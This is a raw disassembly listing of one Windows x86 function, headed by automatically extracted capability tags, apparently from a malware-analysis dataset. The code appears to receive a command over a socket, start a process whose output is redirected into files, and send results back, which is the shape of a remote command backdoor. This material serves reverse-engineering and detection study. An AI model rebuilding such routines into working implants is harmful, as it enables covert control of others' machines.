Function at 0x401560
Capabilities:
Create process on windows
Create process suspended
Send data
Send data on socket
Terminate process

Disassembly:
sub esp, 0x660
push ebx
push ebp
push esi
push edi
push 0x40e528
call fcn.00404e58
mov ecx, dword [esp + 0x680]
add esp, 4
mov ebp, eax
mov edi, 0x40e51c
mov esi, ecx
xor ebx, ebx
mov dl, byte [esi]
mov al, dl
cmp dl, byte [edi]
jne 0x4015ad
cmp al, bl
je 0x4015a9
mov dl, byte [esi + 1]
mov al, dl
cmp dl, byte [edi + 1]
jne 0x4015ad
add esi, 2
add edi, 2
cmp al, bl
jne 0x401589
xor eax, eax
jmp 0x4015b2
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x401630
mov edi, 0x40e50c
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x170]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x174]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov esi, dword [esp + 0x678]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x178]
push ecx
push esi
call sub.WSOCK32.dll_send
push esi
mov dword [0x40e030], ebx
call sub.WSOCK32.dll_closesocket
mov eax, dword [esp + 0x678]
cmp eax, 0xffffffff
je 0x401625
push eax
call sub.WSOCK32.dll_closesocket
call sub.WSOCK32.dll_WSACleanup
push ebx
call fcn.0040496c
cmp dword [0x410084], ebx
je 0x401650
push ecx
lea edx, [esp + 0x174]
push 0x40e504
push edx
call fcn.00404e06
add esp, 0xc
jmp 0x401676
mov edi, ecx
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x170]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp dword [0x410074], ebx
jne 0x401736
cmp ebp, ebx
mov byte [esp + 0xf0], bl
je 0x4016b3
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xf0]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xf0]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ecx, [esp + ecx + 0xf0]
push ecx
call fcn.00404d10
mov edi, 0x40e500
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x170]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x170]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xf0]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp dword [0x410078], ebx
jne 0x401809
cmp dword [0x410080], ebx
jne 0x401756
cmp dword [0x410084], ebx
je 0x401809
cmp ebp, ebx
mov byte [esp + 0x70], bl
je 0x401781
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x70]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x70]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ecx, [esp + ecx + 0x70]
push ecx
call fcn.00404d10
mov eax, dword [0x410084]
add esp, 4
cmp eax, ebx
lea edx, [esp + 0x170]
mov edi, 0x40e4f8
jne 0x4017b6
mov edi, 0x40e4f4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x170]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x70]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp dword [0x41007c], ebx
je 0x401832
mov ecx, dword [0x41006c]
lea eax, [esp + 0x170]
push eax
push ecx
push 0x40e4dc
push 0x40f6c0
call fcn.00404854
add esp, 0x10
lea edx, [esp + 0x170]
push 0x40e4d0
push edx
call fcn.00404c90
add esp, 8
test eax, eax
jne 0x401860
lea eax, [esp + 0x170]
push eax
call fcn.00404bf3
add esp, 4
jmp 0x40199f
push 0x41004c
lea ecx, [esp + 0x574]
push 0x40e4c4
push ecx
mov dword [esp + 0x1c], 0xc
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], 1
call fcn.00404e06
lea edx, [esp + 0x57c]
push edx
call fcn.00404b5f
add esp, 0x10
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
lea eax, [esp + 0x10]
lea ecx, [esp + 0xf0]
push ebx
push 0x80
push 2
push eax
push 3
push 0xc0000000
push ecx
call esi
push ebx
push 0x80
lea edx, [esp + 0x18]
push 2
mov edi, eax
push edx
push 3
lea eax, [esp + 0x84]
push 0xc0000000
push eax
call esi
push 0xfffffffffffffff6
mov esi, eax
mov dword [esp + 0x20], 0x44
mov word [esp + 0x50], bx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], 0xf1
mov word [esp + 0x52], bx
mov dword [esp + 0x54], ebx
mov dword [esp + 0x4c], 0x100
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
lea ecx, [esp + 0x60]
lea edx, [esp + 0x1c]
push ecx
push edx
push ebx
push ebx
push 0x200
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x690]
push 1
push ebx
push ebx
push eax
push ebx
mov dword [esp + 0x80], edi
mov dword [esp + 0x84], esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40199f
mov ecx, dword [esp + 0x60]
push 0x1388
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 0x58]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [esp + 0x5c]
push eax
call esi
mov ecx, dword [esp + 0x64]
push ecx
call esi
mov edx, dword [esp + 0x60]
push edx
call esi
push 0x40e4b0
call fcn.00401000
mov eax, dword [0x410074]
mov esi, dword [esp + 0x678]
add esp, 4
cmp eax, ebx
jne 0x4019da
lea eax, [esp + 0xf0]
push esi
push eax
call fcn.00401490
lea ecx, [esp + 0xf8]
push ecx
call fcn.0040ca80
add esp, 0xc
cmp dword [0x410078], ebx
jne 0x401a21
cmp dword [0x410080], ebx
jne 0x4019f2
cmp dword [0x410084], ebx
je 0x401a21
mov eax, dword [esp + 0x678]
cmp eax, 0xffffffff
je 0x401a06
lea edx, [esp + 0x70]
push eax
push edx
jmp 0x401a0c
lea eax, [esp + 0x70]
push esi
push eax
call fcn.00401490
add esp, 8
lea ecx, [esp + 0x70]
push ecx
call fcn.0040ca80
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x660
ret